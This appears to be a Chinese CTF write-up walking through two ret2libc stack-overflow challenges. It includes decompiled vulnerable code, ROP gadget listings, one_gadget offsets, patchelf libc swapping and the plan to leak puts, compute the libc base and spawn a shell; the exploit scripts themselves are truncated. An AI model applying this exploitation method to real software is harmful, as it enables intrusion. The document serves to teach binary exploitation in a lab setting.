ret2libc
ret2libc与ret2text本质是一样的都是利用栈溢出改写返回地址,构造栈空间使程序运行到我们想要的函数,传入自己想要的参数,从而获取shell。不过这题没有system函数,那么我们需要做的就是引用libc库中的system并传入/bin/sh参数。
关于ret2libc详细的介绍可以参考白夜学长这篇文章,我就不过多赘述,直接做题。
拖进ida
可以看到只有一个vuln函数而且没有_system
1
2
3
4
5
6
7
8
9
10
11 ssize_t vuln()
{
char buf[32]; // [rsp+0h] [rbp-20h] BYREF
puts("I'm still a repeater, but lost an important part during transmission.");
puts("Your computer may have the substitute for the lost part.");
puts("But it may not the same as original.");
puts("Do you want to say anything?");
read(0, buf, 0x60uLL);
return write(1, buf, 0x60uLL);
}
检查保护
1 | [*] '/home/l0tus/下载/attachment(14)/vuln' |
onegadget获取偏移
1 | l0tus@l0tus-virtual-machine:~/下载/attachment(14)$ one_gadget libc-2.31.so --near puts |
这里可以得到execve的相对地址0xe3b2e和puts的相对地址0x84450,可以用来计算偏移
然后找到一个pop rdi;ret ,这个execve 的限制是 r12,r13 都为0,还需要 pop r12; pop r13
这一步和之前的ret2text的ROPgadget一样操作
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16l0tus@l0tus-virtual-machine:~/下载/attachment(14)$ ROPgadget --binary vuln | grep pop
0x000000000040125a : add byte ptr [rax], al ; add byte ptr [rax], al ; pop rbp ; ret
0x000000000040125c : add byte ptr [rax], al ; pop rbp ; ret
0x000000000040117b : add byte ptr [rcx], al ; pop rbp ; ret
0x0000000000401176 : mov byte ptr [rip + 0x2f0b], 1 ; pop rbp ; ret
0x0000000000401259 : mov eax, 0 ; pop rbp ; ret
0x00000000004012bc : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004012be : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004012c0 : pop r14 ; pop r15 ; ret
0x00000000004012c2 : pop r15 ; ret
0x00000000004012bb : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004012bf : pop rbp ; pop r14 ; pop r15 ; ret
0x000000000040117d : pop rbp ; ret
0x00000000004012c3 : pop rdi ; ret
0x00000000004012c1 : pop rsi ; pop r15 ; ret
0x00000000004012bd : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
得到rdi的地址是0x4012c3,pop r12;pop r13 是0x4012bc
然后直接看main函数的地址为0x40120B
至此我们做这题需要的地址都已经齐全了
利用patchelf替换libc
题目远程环境的libc版本和本地的libc并不一定相同,但是附件中包含了对应的远程libc文件,这时就需要我们自己手动替换libc文件。一般情况下,我们需要替换的为 ld.so 和 libc.so 两个文件
这一步的作用就是将题目附件vuln的libc环境从本地的替换成libc附件的(远程的),确保库中的函数偏移值相同 这样本地调试与远程环境相同。
对原附件进行ldd可以看到如下结果
1
2
3
4l0tus@l0tus-virtual-machine:~/下载/attachment(14) (1)$ ldd vuln
linux-vdso.so.1 (0x00007ffe63fa7000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007efe0bb29000)
/lib64/ld-linux-x86-64.so.2 (0x00007efe0bd64000)
可以看到这里的libc不是我们想要的,分别利用
1
2patchelf --set-interpreter <new ld file> <ELF file>
patchelf --replace-needed <old libc> <new libc> <ELF file>
这样的两条指令进行修改,尖括号整个替换成文件名/相对地址。由于每个人虚拟机/物理机装的libc文件位置不同,可根据各自情况来确定具体指令。
替换成功之后再ldd将显示如下界面
1
2
3
4l0tus@l0tus-virtual-machine:~/下载/attachment(14)$ ldd vuln
linux-vdso.so.1 (0x00007ffcffbad000)
./libc-2.31.so (0x00007f92757c0000)
ld-2.31.so => /lib64/ld-linux-x86-64.so.2 (0x00007f92759b4000)
recv() & recvuntil()
再回头看伪代码得知read之后存在一个write函数将buf进行返回,那么我们就需要用recv,recvuntil函数来接受我们leak出来的内容,其中recv()函数的参数是数字,作用为接收指定长度的内容;recvuntil()参数为字符串作用是一直接收到指定的字符串
调试时观察结束位置再合理利用这两个函数就可以接收到需要的值
完整思路
第一次输入:填充后覆盖返回地址,返回指向puts,利用puts 函数输出puts 的函数地址 puts_addr
利用puts 对libc 的偏移puts_offset 计算libc 基址 libc_addr = puts_addr - puts_offset; execve_addr = libc_addr + execve_offset 得到的execve地址
第二次输入:填充后调用pop_addr 清掉r12, r13, 返回地址为 execve_addr
exp
1 | from pwn import * |
ret2libc(plus)
有的ret2libc题目甚至不给libc.so文件,那么我们就没办法使用onegadget来获取一些libc库函数的偏移
这道题整体思路与上一题基本一致的,但是需要用到一个新的东西那就是LibcSearcher
作用是查找库中函数与该函数偏移一致对应的libc库,用法:LibcSearcher("函数名",函数地址)
如果只通过一个函数来查找,那显示的libc库可能会有很多个,一种做法是一个个试,另一种做法是通过两个函数来查找。
选好一个libc库之后就和上题做法基本一致了,确定libc基址,确定所需函数的地址,然后调用所需函数。
这题直接调用system,并将/bin/sh作为参数。
需要注意的一个地方就是第二次输入是传参的方式,几个payload之间的顺序以及最后的retn 栈对齐。愚蠢的l0tus就在最后的位置卡了很久EOF
exp
1 | from pwn import * |